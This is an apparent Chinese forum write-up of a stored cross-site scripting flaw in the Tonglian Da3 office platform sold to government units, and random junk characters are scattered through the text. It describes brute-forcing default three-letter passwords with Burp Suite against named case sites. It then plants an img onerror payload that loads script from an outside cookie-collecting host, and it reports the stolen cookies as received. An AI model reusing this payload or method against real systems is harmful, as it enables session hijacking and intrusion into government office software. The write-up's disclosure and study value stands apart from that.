同联Da3协同办公平台后台通用储存型xss漏洞

admin

& D" [& P& N8 `; ]/ N2 q$ x ' ~+ e* F9 ?# x; O+ d/ ]* V+ h. ^, u 0 t" d( q, a# o6 i ) A3 A* R" S1 r; v/ z ! \' I: V$ F5 q ! G2 d/ O; f$ R

0 q5 o* w+ [. g$ T& ^' k# q

同联Da3协同办公平台后台通用储存型xss漏洞

& S6 e0 i' q0 X7 l' m! w1 `

3 s/ i/ @: n1 D* q; X# p 平台简介：

& X4 u) R; ]5 L" U! Q6 c

5 f% @" |) K2 |' z+ O! N; E   2 ]4 d3 `9 G4 [0 y

' n: g8 z. \9 S$ l

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
N5 |4 i9 p1 [" l* f% P9 N同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

& s4 Q9 a/ M8 |2 v: c' S

( s" [8 {9 l- L4 O2 y; M$ ~  

, Z" M, _' g- \9 z1 X/ x

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 9 J3 ]0 P; {* \! p+ M

' {; g2 w. p0 |

  4 p2 X6 [$ q; ^

+ [1 I+ g5 w2 S, ?, U. m

http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站）

3 `6 |8 w3 o0 [% _- C: ], H

* j* S( i, J0 D 漏洞详情: - P8 j8 j) _: i" B

1 b# a6 f/ ^" N  案例一、

7 X& T6 D, u) J 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 7 Z# d9 B0 {! P9 x4 Y5 [: S

: v$ m7 Y; u S2 m

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

1 e7 G) S, I. b. k

  : f0 o3 |$ j* G1 k! J. t

& C) k1 [* [' y" Q( P0 ]0 [3 m

" X* e8 e6 T' e0 f

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： / b; Q5 w0 j$ A7 y6 u) @

A7 d+ \( j: Z  

5 G$ e8 i0 a0 W7 z& [; t* K4 v 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

1 t9 p3 j% h2 j# z. L

1 Y4 {) G, H+ G! M+ @  

<img src=x 9 o6 X" v' U1 o7 Honerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

0 v- \5 S, L9 b

2 r+ U9 f0 [) X( G6 \0 d

# i( W$ ?7 q$ q& N& V! D, L

( i6 `# d( K4 Q" b2 a3 X 然后发送，接收cookie如图：

( }6 Y+ a5 H1 _9 b. M( J0 |

  8 W! ?! f' @: N2 D- M' s

6 a' L: e$ r% T b3 x0 d9 v4 ], U

 

  4 I% o" W' L& ^/ e' y

) x; v1 W+ o1 g4 }

 

8 i/ S# t) Q% S+ F

$ e5 p% |" [* R6 L+ m9 D5 a# c

 

* h+ Y$ f" O; ?& h

案例2、 : X" O/ m2 ~% d- u8 r) U. u

前面步骤都一样，下面看效果图： ; ^. [' B3 J1 b* b2 W Z7 n1 w/ g% D

9 m' r: x6 r$ v

& C; V! ~/ x# Q* j7 t   ' G" ^8 ?, @! l. N4 { u f8 _

 

k3 l9 u. H- ~& _: t R& h" V4 @* c 6 Z: ?- k. v; O

( f% a: e' l) n! O2 H4 i7 C, s

* b& a: I* M4 `9 x- P  

% {$ \; W2 V0 e. u) W( s: s   5 m. r- |5 {* C( f3 R$ W8 `1 b- F

& H) A, ?+ W$ g/ r# r   + U# r8 M$ Z# V5 H

4 K( W6 X6 r! Z \1 K7 {/ L

* R; u# O9 `& N   4 O- G) Z# Q+ G9 M6 Y4 x